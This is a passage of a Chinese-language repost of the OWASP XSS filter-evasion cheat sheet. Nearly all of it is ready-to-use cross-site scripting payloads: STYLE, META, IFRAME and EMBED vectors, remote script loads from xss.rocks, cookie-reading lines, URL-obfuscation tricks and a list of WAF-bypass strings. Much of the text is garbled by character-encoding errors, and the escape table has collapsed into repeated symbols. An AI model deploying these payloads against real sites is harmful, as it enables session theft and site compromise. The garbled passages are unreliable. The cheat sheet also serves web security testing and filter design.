這個(gè)和上面一樣有效,不過(guò)使用了<STYLE>標(biāo)簽替代<LINK>標(biāo)簽. 這個(gè)細(xì)微的變化曾經(jīng)用來(lái)攻擊谷歌桌面。另一方面,如果在攻擊向量后有HTML標(biāo)簽閉合攻擊向量,你可以移除末尾的</STYLE>標(biāo)簽。在進(jìn)行跨站腳本攻擊時(shí),如不能同時(shí)使用等號(hào)或斜杠,這是非常有用的,這種情況在現(xiàn)實(shí)世界里不止一次發(fā)生了:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>?
?
?
2.51.??? 遠(yuǎn)程樣式表3
?
?
這種方式僅在Opera 8.0(9.x不可以)中有效,但方法比較有創(chuàng)意. 根據(jù)RFC2616,設(shè)置一個(gè)Link頭部不是HTTP1.1規(guī)范的一部分,但一些瀏覽器仍然允許這樣做 (例如Firefox和 ?Opera). 這里的技巧是設(shè)置一個(gè)頭部(和普通頭部并沒(méi)有什么區(qū)別,只是設(shè)置Link: <http://xss.rocks/xss.css>; REL=stylesheet)并且在遠(yuǎn)程樣式表中包含使用了JavaScript的跨站腳本攻擊向量,這一點(diǎn)是FireFox不支持的:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">?
?
?
2.52.??? 遠(yuǎn)程樣式表4
?
?
這僅能在Gecko渲染引擎下有效并且需要在父頁(yè)面綁定一個(gè)XML文件。具有諷刺意味的是 Netscape認(rèn)為Gecko更安全 ,所以對(duì)絕大多數(shù)網(wǎng)站來(lái)說(shuō)會(huì)受到漏洞影響:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>?
?
?
2.53.??? 含有分隔JavaScript的STYLE標(biāo)簽
?
?
這個(gè)XSS會(huì)在IE中造成無(wú)限循環(huán):
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>?
?
?
2.54.??? STYLE屬性中使用注釋分隔表達(dá)式
?
?
由Roman Ivanov創(chuàng)建
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">?
?
?
2.55.??? 含表達(dá)式的IMG STYLE
?
?
這是一個(gè)將上面XSS攻擊向量混合的方法,但確實(shí)展示了STYLE標(biāo)簽可以用相當(dāng)復(fù)雜的方式分隔,和上面一樣,也會(huì)讓IE進(jìn)入死循環(huán):
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
?
?
2.56.??? STYLE標(biāo)簽(僅舊版本Netscape可用)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>?
?
?
?
?
2.57.??? 使用背景圖像的STYLE標(biāo)簽
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>?
?
?
?
?
2.58.??? 使用背景的STYLE標(biāo)簽
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>?
?
?
?
?
2.59.??? 含STYLE屬性的HTML任意標(biāo)簽
?
?
IE6.0和IE渲染引擎模式下的Netscape 8.1+并不關(guān)心你建立的HTML標(biāo)簽是否存在,只要是由尖括號(hào)和字母開(kāi)始的即可:
<XSS STYLE="behavior: url(xss.htc);">?
?
?
2.60.??? 本地htc文件
?
?
這和上面兩個(gè)跨站腳本攻擊向量有些不同,因?yàn)樗褂昧艘粋€(gè)必須和XSS攻擊向量在相同服務(wù)器上的.htc文件。這個(gè)示例文件通過(guò)下載JavaScript并將其作為style屬性的一部分運(yùn)行來(lái)進(jìn)行攻擊:
<XSS STYLE="behavior: url(xss.htc);">?
?
?
2.61.??? US-ASCII編碼
?
?
US-ASCII編碼(由Kurt Huwig發(fā)現(xiàn))。它使用了畸形的7位ASCII編碼來(lái)代替8位。這個(gè)XSS攻擊向量可以繞過(guò)大多數(shù)內(nèi)容過(guò)濾器,但是只在主機(jī)使用US-ASCII編碼傳輸數(shù)據(jù)時(shí)有效,或者可以自己設(shè)置編碼格式。相對(duì)繞過(guò)服務(wù)器端過(guò)濾,這在繞過(guò)WAF跨站腳本過(guò)濾時(shí)候更有效。Apache Tomcat是目前唯一已知使用US-ASCII編碼傳輸?shù)?#xff1a;
?script?alert(¢XSS¢)?/script??
?
?
2.62.??? META
?
?
關(guān)于meta刷新比較奇怪的是它并不會(huì)在頭部中發(fā)送一個(gè)referrer-所以它通常用于不需要referrer的時(shí)候:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">?
?
?
2.62.1?使用數(shù)據(jù)的META
?
?
URL scheme指令。這個(gè)非常有用因?yàn)樗⒉话魏慰梢?jiàn)的SCRIPT單詞或JavaScript指令,因?yàn)樗褂昧薭ase64編碼.請(qǐng)查看RFC 2397尋找更多細(xì)節(jié)。你同樣可以使用具有Base64編碼功能的XSS工具來(lái)編碼HTML或JavaScript:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">?
?
?
2.62.2?含有額外URL參數(shù)的META
?
?
如果目標(biāo)站點(diǎn)嘗試檢查URL是否包含"http://",你可以用以下技術(shù)規(guī)避它(由Moritz Naumann提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">?
?
?
2.63.??? IFRAME
?
?
如果允許Iframe那就會(huì)有很多XSS問(wèn)題:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>?
?
?
2.64.??? 基于事件IFRAME
?
?
Iframes和大多數(shù)其他元素可以使用下列事件(由David Cross提交):
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>?
?
?
2.65.??? FRAME
?
?
Frames和iframe一樣有很多XSS問(wèn)題:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>?
?
?
2.66.??? TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">?
?
2.66.1. TD
?
?
和上面一樣,TD也可以通過(guò)BACKGROUND來(lái)包含JavaScriptXSS攻擊向量:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">?
?
?
2.67.??? DIV
?
?
2.67.1. DIV背景圖像
<DIV STYLE="background-image: url(javascript:alert('XSS'))">?
?
?
2.67.2. 含有Unicode XSS利用代碼的DIV背景圖像
?
?
這進(jìn)行了一些修改來(lái)混淆URL參數(shù)。原始的漏洞是由RenaudLifchitz在Hotmail發(fā)現(xiàn)的:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">?
?
?
2.67.3. 含有額外字符的DIV背景圖像
?
?
Rnaske進(jìn)行了一個(gè)快速的XSS模糊測(cè)試來(lái)發(fā)現(xiàn)IE和安全模式下的Netscape 8.1中任何可以在左括號(hào)和JavaScript指令間加入的額外字符。這都是十進(jìn)制的但是你也可以使用十六進(jìn)制來(lái)填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">?
?
?
2.67.4. DIV表達(dá)式
?
?
一個(gè)非常有效的對(duì)抗現(xiàn)實(shí)中的跨站腳本過(guò)濾器的變體是在冒號(hào)和"expression"之間添加一個(gè)換行:
<DIV STYLE="width: expression(alert('XSS'));">?
2.68. ? ?html 條件選擇注釋塊
?
?
只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些網(wǎng)站認(rèn)為在注釋中的任何內(nèi)容都是安全的并且認(rèn)為沒(méi)有必要移除,這就允許我們添加跨站腳本攻擊向量。系統(tǒng)會(huì)在一些內(nèi)容周圍嘗試添加注釋標(biāo)簽以便安全的渲染它們。如我們所見(jiàn),這有時(shí)并不起作用:
<!--[if gte IE 4]>
?<SCRIPT>alert('XSS');</SCRIPT>
?<![endif]-->
?
?
2.69.??? BASE標(biāo)簽
?
?
在IE和安全模式下的Netscape 8.1有效。你需要使用//來(lái)注釋下個(gè)字符,這樣你就不會(huì)造成JavaScript錯(cuò)誤并且你的XSS標(biāo)簽可以被渲染。同樣,這需要當(dāng)前網(wǎng)站使用相對(duì)路徑例如"images/image.jpg"來(lái)放置圖像而不是絕對(duì)路徑。如果路徑以一個(gè)斜杠開(kāi)頭例如"/images/image.jpg"你可以從攻擊向量中移除一個(gè)斜杠(只有在兩個(gè)斜杠時(shí)注釋才會(huì)生效):
<BASE HREF="javascript:alert('XSS');//">?
?
?
2.70.??? OBJECT標(biāo)簽
?
?
如果允許使用OBJECT,你可以插入一個(gè)病毒攻擊載荷來(lái)感染用戶,類似于APPLET標(biāo)簽。鏈接文件實(shí)際是含有你XSS攻擊代碼的HTML文件:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>?
?
?
2.71.??? 使用EMBED標(biāo)簽加載含有XSS的FLASH文件
?
?
如果你添加了屬性allowScriptAccess="never"以及allownetworking="internal"則可以減小風(fēng)險(xiǎn)(感謝Jonathan Vanasco提供的信息):
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>?
?
?
2.72.??? 使用EMBED SVG包含攻擊向量
?
?
該示例只在FireFox下有效,但是比上面的攻擊向量在FireFox下好,因?yàn)椴恍枰脩舭惭b或啟用FLASH。感謝nEUrOO提供:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>?
?
?
2.73.??? 在FLASH中使用ActionScript混淆XSS攻擊向量
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
?
?
?
?
2.74.??? CDATA混淆的XML數(shù)據(jù)島
?
?
這個(gè)XSS攻擊只在IE和使用IE渲染模式的Netscape 8.1下有效-攻擊向量由Sec Consult在審計(jì)Yahoo時(shí)發(fā)現(xiàn)
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
?
?
2.75.??? 使用XML數(shù)據(jù)島生成含內(nèi)嵌JavaScript的本地XML文件
?
?
這和上面是一樣的但是將來(lái)源替換為了包含跨站腳本攻擊向量的本地XML文件(必須在同一服務(wù)器上):
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
?
?
2.76.??? XML中使用HTML+TIME
?
?
這是Grey Magic攻擊Hotmail和Yahoo的方法。這只在IE和IE渲染模式下的Netscape8.1有效并且記得需要在HTML域的BODY標(biāo)簽中間才有效:
<HTML><BODY>?
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
?
?
2.77.??? 使用一些字符繞過(guò)".js"過(guò)濾
?
?
你可以將你的JavaScript文件重命名為圖像來(lái)作為XSS攻擊向量:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>?
?
?
2.78.??? SSI(服務(wù)端腳本包含)
?
?
這需要在服務(wù)器端允許SSI來(lái)使用XSS攻擊向量。似乎不用提示這點(diǎn),因?yàn)槿绻憧梢栽诜?wù)器端執(zhí)行指令那一定是有更嚴(yán)重的問(wèn)題存在:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->?
?
?
2.79.??? PHP
?
?
需要服務(wù)器端安裝了PHP來(lái)使用XSS攻擊向量。同樣,如果你可以遠(yuǎn)程運(yùn)行任意腳本,那會(huì)有更加嚴(yán)重的問(wèn)題:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
?
?
2.80.??? 嵌入命令的IMAGE
?
?
當(dāng)頁(yè)面受密碼保護(hù)并且這個(gè)密碼保護(hù)同樣適用于相同域的不同頁(yè)面時(shí)有效,這可以用來(lái)進(jìn)行刪除用戶,增加用戶(如果訪問(wèn)頁(yè)面的是管理員的話),將密碼發(fā)送到任意地方等等。。。這是一個(gè)較少使用當(dāng)時(shí)更有價(jià)值的XSS攻擊向量:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">?
2.80.1. 嵌入命令的IMAGE II
?
?
這更加可怕因?yàn)檫@不包含任何可疑標(biāo)識(shí),除了它不在你自己的域名上。這個(gè)攻擊向量使用一個(gè)302或304(其他的也有效)來(lái)重定向圖片到指定命令。所以一個(gè)普通的<IMG SRC="httx://badguy.com/a.jpg">對(duì)于訪問(wèn)圖片鏈接的用戶來(lái)說(shuō)也有可能是一個(gè)攻擊向量。下面是利用.htaccess(Apache)配置文件來(lái)實(shí)現(xiàn)攻擊向量。(感謝Timo提供這部分。):
Redirect 302 /a.jpg?http://victimsite.com/admin.asp&deleteuser
?
?
2.81.??? Cookie篡改
?
?
盡管公認(rèn)不太實(shí)用,但是還是可以發(fā)現(xiàn)一些允許使用META標(biāo)簽的情況下可用它來(lái)覆寫(xiě)cookie。另外的例子是當(dāng)用戶訪問(wèn)網(wǎng)站頁(yè)面時(shí),一些網(wǎng)站讀取并顯示存儲(chǔ)在cookie中的用戶名,而不是數(shù)據(jù)庫(kù)中。當(dāng)這兩種場(chǎng)景結(jié)合時(shí),你可以修改受害者的cookie以便將JavaScript注入到其頁(yè)面中(你可以使用這個(gè)讓用戶登出或改變他們的用戶狀態(tài),甚至可以讓他們以你的賬戶登錄):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">?
?
?
2.82.??? UTF-7編碼
?
?
如果存在XSS的頁(yè)面沒(méi)有提供頁(yè)面編碼頭部,或者使用了任何設(shè)置為使用UTF-7編碼的瀏覽器,就可以使用下列方式進(jìn)行攻擊(感謝Roman Ivanov提供)。這在任何不改變編碼類型的現(xiàn)代瀏覽器上是無(wú)效的,這也是為什么標(biāo)記為完全不支持的原因。Watchfire在Google的自定義404腳本中發(fā)現(xiàn)這個(gè)問(wèn)題:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-?
?
?
2.83.??? 利用HTML引號(hào)包含的XSS
?
?
這在IE中測(cè)試通過(guò),但還得視情況而定。它是為了繞過(guò)那些允許"<SCRIPT>"但是不允許"<SCRIPT SRC..."形式的正則過(guò)濾即"/<script[^>]+src/i":
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這是為了繞過(guò)那些允許"<SCRIPT>"但是不允許"<SCRIPTSRC..."形式的正則過(guò)濾即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(這很重要,因?yàn)樵趯?shí)際環(huán)境中出現(xiàn)過(guò)這種正則過(guò)濾):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
另一個(gè)繞過(guò)此正則過(guò)濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
又一個(gè)繞過(guò)正則過(guò)濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。盡管不想提及防御方法,但如果你想允許<SCRIPT>標(biāo)簽但不加載遠(yuǎn)程腳本,針對(duì)這種XSS只能使用狀態(tài)機(jī)去防御(當(dāng)然如果允許<SCRIPT>標(biāo)簽的話,還有其他方法繞過(guò)):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
最后一個(gè)繞過(guò)此正則過(guò)濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下無(wú)效):
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這是一個(gè)XSS樣例,用來(lái)繞過(guò)那些不會(huì)檢查引號(hào)配對(duì),而是發(fā)現(xiàn)任何引號(hào)就立即結(jié)束參數(shù)字符串的正則表達(dá)式:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這個(gè)XSS很讓人擔(dān)心,因?yàn)槿绻贿^(guò)濾所有活動(dòng)內(nèi)容幾乎不可能防止此攻擊:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
2.84.??? URL字符繞過(guò)
?
?
假定"http://www.google.com/"是不被允許的:
?
?
2.84.1. IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>?
?
?
?
?
2.84.2. URL編碼
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>?
?
?
?
?
2.84.3. 雙字節(jié)編碼
?
?
(注意:還有另一種雙字節(jié)編碼):
<A HREF="http://1113982867/">XSS</A>?
?
?
2.84.4. 十六進(jìn)制編碼
?
?
每個(gè)數(shù)字的允許的范圍大概是240位字符,就如你在第二位上看到的,并且由于十六進(jìn)制是在0到F之間,所以開(kāi)頭的0可以省略:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>?
?
?
2.84.5. 八進(jìn)制編碼
?
?
又一次允許填充,盡管你必須保證每類在4位字符以上-例如A類,B類等等:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
?
?
2.84.6. 混合編碼
?
?
讓我們混合基本編碼并在其中插入一些TAB和換行,雖然不知道瀏覽器為什么允許這樣做。TAB和換行只有被引號(hào)包含時(shí)才有效:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
?
?
2.84.7. 協(xié)議解析繞過(guò)
?
?
(// 替代http://可以節(jié)約很多字節(jié)).當(dāng)輸入空間有限時(shí)很有用(少兩個(gè)字符可能解決大問(wèn)題) 而且可以輕松繞過(guò)類似"(ht|f)tp(s)?://"的正則過(guò)濾(感謝Ozh提供這部分).你也可以將"//"換成"\\"。你需要保證斜杠在正確的位置,否則可能被當(dāng)成相對(duì)路徑URL:
<A HREF="//www.google.com/">XSS</A>
?
?
2.84.8. Google的"feeling lucky"功能1
?
?
Firefox使用Google的"feeling lucky"功能根據(jù)用戶輸入的任何關(guān)鍵詞來(lái)將用戶重定向。如果你存在漏洞的頁(yè)面在某些隨機(jī)關(guān)鍵詞上搜索引擎排名是第一的,你就可以利用這一特性來(lái)攻擊FireFox用戶。這使用了Firefox的"keyword:"協(xié)議。你可以像下面一樣使用多個(gè)關(guān)鍵詞"keyword:XSS+RSnake"。這在Firefox2.0后不再有效.
<A HREF="//google">XSS</A>
?
?
2.84.9. Google的"feeling lucky"功能2
?
?
這使用了一個(gè)僅在FireFox上有效的小技巧,因?yàn)樗鼘?shí)現(xiàn)了"feelinglucky"功能。不像下面一個(gè)例子,這個(gè)在Opera上無(wú)效因?yàn)镺pera會(huì)認(rèn)為只是一個(gè)老式的HTTP基礎(chǔ)認(rèn)證釣魚(yú)攻擊,但它并不是。它只是一個(gè)畸形的URL。如果你點(diǎn)擊了對(duì)話框的確定,它就可以生效。但是在Opera上會(huì)是一個(gè)錯(cuò)誤對(duì)話框,所以認(rèn)為其不被Opera所支持,同樣在Firefox2.0后不再有效。
<A HREF="http://ha.ckers.org@google">XSS</A>
?
?
2.84.10.??????Google的"feeling lucky"功能3
?
?
這是一個(gè)畸形的URL只在FireFox和Opera下有效,因?yàn)樗鼈儗?shí)現(xiàn)了"feeling lucky"功能。像上面的例子一樣,它要求你的攻擊頁(yè)面在Google上特定關(guān)鍵詞排名第一(在這個(gè)示例里關(guān)鍵詞是"google")
<A HREF="http://google:ha.ckers.org">XSS</A>
?
?
2.84.11.??????移除別名
?
?
當(dāng)結(jié)合上面的URL,移除"www."會(huì)節(jié)約4個(gè)字節(jié),總共為正確設(shè)置的服務(wù)器節(jié)省9字節(jié):
<A HREF="http://google.com/">XSS</A>
?
?
2.84.12.??????絕對(duì)DNS名稱后額外的點(diǎn)
<A HREF="http://www.google.com./">XSS</A>
?
?
?
?
2.84.13.??????JavaScriptlink location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
?
?
?
?
2.84.14.??????內(nèi)容替換作為攻擊向量
?
?
假設(shè)"http://www.google.com/"會(huì)自動(dòng)替換為空。我實(shí)際使用過(guò)類似的攻擊向量即通過(guò)使用轉(zhuǎn)換過(guò)濾器本身(示例如下)來(lái)幫助構(gòu)建攻擊向量以對(duì)抗現(xiàn)實(shí)世界的XSS過(guò)濾器:
<A HREF="http://www.google.com/ogle.com/">XSS</A>
2.85. ? ?字符轉(zhuǎn)義表
?
?
下面是HTML和JavaScript中字符“<”的所有可能組合。其中大部分不會(huì)被渲染出來(lái),但其中許多可以在某些情況下呈現(xiàn)出來(lái)。:
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
?
3.繞過(guò)WAF的方法
?
?
通用問(wèn)題
?
?
? 存儲(chǔ)型XSS
?
?
如果攻擊者已經(jīng)讓XSS繞過(guò)過(guò)濾器,WAF無(wú)法阻止攻擊透過(guò)。
?
?
?基于JavaScript的反射型XSS
示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
利用: /?xss=500); alert(document.cookie);//
?
?
?
?基于DOM的XSS
示例: <script> ... eval($_GET[xss]); ... </script>
利用: /?xss=document.cookie
?
?
?
通過(guò)請(qǐng)求重定向構(gòu)造XSS
?
?
?存在漏洞代碼:
...
?header('Location: '.$_GET['param']);
...
?
?
同樣包括:
...
?header('Refresh: 0; URL='.$_GET['param']);
...
?
?
?這種請(qǐng)求不會(huì)繞過(guò)WAF:
/?param=javascript:alert(document.cookie)
?
?
?這種請(qǐng)求可以繞過(guò)WAF并且XSS攻擊可以在某些瀏覽器執(zhí)行:
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
?
?
繞過(guò)WAF可用字符串.
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" οnmοuseοver="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" οnerrοr="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 οnerrοr=alert(XSS)>
<img src=x:alert(alt) οnerrοr=eval(src) alt=0>
<img? src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg οnlοad=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/οnerrοr='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>?
On Mouse Over?
<img src="/" =_=" title="οnerrοr='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/οnmοuseοver="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
?
?
?
3.1.? Alert混淆以繞過(guò)過(guò)濾器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘a(chǎn)l\145rt’](1)
top[‘a(chǎn)l\x65rt’](1)
top[8680439..toString(30)](1)
?
4.作者和主要編輯
?
?
Robert "RSnake" Hansen
?
5.貢獻(xiàn)者
?
?
Adam Lange
?
?
Mishra Dhiraj
?
?
版權(quán)與許可
?
?
版權(quán)所有:OWASP基金會(huì)?
?
本文檔基于 Creative Commons Attribution ShareAlike3.0 license 發(fā)布。任何重用或發(fā)行,都必須向他人明確該文檔的許可條款。?http://creativecommons.org/licenses/by-sa/3.0/
*原文地址:owasp.org,walletong@ansion編譯,轉(zhuǎn)載自FreeBuf.COM
總結(jié)
以上是生活随笔為你收集整理的XSS绕过,XSS过滤速查,XSS绕过姿势的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
                            
                        - 上一篇: String去重复
 - 下一篇: opencv-python 使用中遇到的